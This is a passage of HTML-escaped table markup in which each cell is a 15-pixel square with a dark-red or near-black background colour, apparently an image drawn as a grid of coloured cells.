&lt;td style=&quot;background-color: #780401; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #86110a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #951604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b1703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a71904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad2005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b12106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b42105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b82703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b82704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b82704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b32105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b02004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad1f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a91c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a51a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a01905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92170b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f0803; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #770202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #760102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #750001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #710100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #710100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #780004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #760003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #710102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #640202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #640805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #891407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d1505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #901505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1607; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a41904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a61b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a81d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac1e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae2003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af2104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af2104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af2003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae1f02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad1d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab1c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac1902; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a81903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e1b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #951402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #94120b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800b0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #640100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #650103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #700103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #750102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #720201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #710000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #6e0205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #650001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #620002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #580004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #510104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #470201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #410001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #360001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #570704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f100e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f0f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f1201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #911402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #951404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991803; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c1903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a31604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a41805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a31705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a31705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f1804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f1703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e1602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c1503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #961102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e1206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #440204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #440005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #490106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #510002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #620103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #690102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #640000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #620000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #540002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #410103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #310002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #270102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #290607; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #520c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #73110a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #841007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c1107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981808; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #951506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a110a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c130d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #660f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d0806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190403; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #290103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #300002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #360003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #510002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #610101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #650002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #6e0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #660000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #520100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #470201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #430001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #330100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #220107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e0603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #390903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f0c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #440d08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #470d08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #480e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #460d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #440e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #460d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #470c07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #490d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a0c07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a0b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d0806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #280100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #340201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #520001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #570000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #730302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #700201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
